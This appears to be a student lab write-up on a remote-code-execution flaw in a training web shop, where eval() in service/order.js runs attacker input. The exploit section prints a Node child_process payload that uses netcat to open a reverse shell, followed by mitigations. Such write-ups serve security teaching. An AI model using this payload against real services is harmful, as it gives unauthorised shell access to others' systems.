

Cowbell Shop 5 - RCE

Security questions

1. Explain the underlying security problem

By searching in all files with `find ./ -type f -exec grep -Hn "eval(" {} \;` I found the line that executed the exploit. In file `service/order.js:180 eval(...)`

The command `eval(...)` make is possible to execute arbitrary code passed as string.

2. Explain the exploit

By sending `require('child_process').exec('nc [ethX] 1337 -e sh -c "sh -i"')` the code was passed to `eval(require('child_process').exec('nc [ethX] 1337 -e sh -c "sh -i"'))` and executed the command. Netcat open a reverse shell.

1. Explain mitigation

- Don't run as root
- Don't use eval
- Server hardening
- Use firewall
- Isolate container in network --> use docker network
- Monitor usage
- If container are used, rotate the deployment by recreation of the containers
- rotate keys